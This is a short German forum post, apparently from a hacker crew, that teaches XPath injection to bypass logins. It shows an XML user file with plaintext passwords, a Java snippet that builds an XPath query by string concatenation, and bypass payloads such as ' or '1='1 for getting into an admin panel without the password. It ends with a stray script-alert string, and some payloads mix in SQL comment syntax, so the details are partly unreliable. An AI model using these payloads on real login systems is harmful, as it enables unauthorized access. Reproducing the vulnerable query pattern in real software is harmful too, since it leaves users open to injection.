XPATH Injection - Login Bypass
Nun möchte euch eine Art der XPATH Injection vorstellen.
Ich kenne nicht alle Arten , doch diese ist mir bekannt
Ich weiß nicht ob ihr euch schonmal über XPATH (xml) informiert habt
Vorab ;
xml dateien sind zumeist vom Administrator höchst wertvolle Dokumente , die zB den Login
richten können.
Ich zeige euch den Teil eines xml Login Dokumentes und werde euch den Vorgang
mit XPATH Injection erklären , sodass ihr denn Login über einen Bypass schafft
Der Coder hat den Path also den so genannten XPATH genau in seinem Script (der unten steht) angegeben.Code:<?xml version="1.0" encoding="ISO-8859-1"?> <users> <user> <id> 1 </id> <username> admin </username> <password> test123 </password> </user> <user> <id> 2 </id> <username> user </username> <password> pass </password> </user> </users>
Der Code ließt das xml Dokument und sucht nach den Daten die für den Login aufeinander stimmen.Code:String username = req.getParameter("username"); String password = req.getParameter("password"); XPathFactory factory = XPathFactory.newInstance(); XPath xpath = factory.newXPath(); File file = new File("/usr/webappdata/users.xml"); InputSource src = new InputSource(new FileInputStream(file)); XPathExpression expr = xpath.compile("//users[username/text()=' " + username + " ' and password/text()=' "+ password +" ']/id/text()");
Wir nehmen als login daten username=admin password=test123
Die Txt Zeilen Antwort wird also so lauten
[CODE] //users[username/text()='admin' and password/text()='test123']/id/ text()
Und hier werden wir die XPATH Injection mit Bypass beginnen
Da wir die Werte so anpassen konnten ohne das die Abfrage im ersten Login Dokument abgegeben werden ,
können wir diese mit ' or '1='1 oder etwas anderem (bypass) wie realusername' OR 1=1'-- / admin'-
beeinflussen und uns erfolgreich einloggen.
So können wir uns auch ohne das richtige Passwort einen Weg zum Administration Panel überbrücken.
###
visit www.acceptthefuture.wordpress.com
visit 1nj3ct-Crew - und3rcore
###
';alert(trisn)




Zitieren
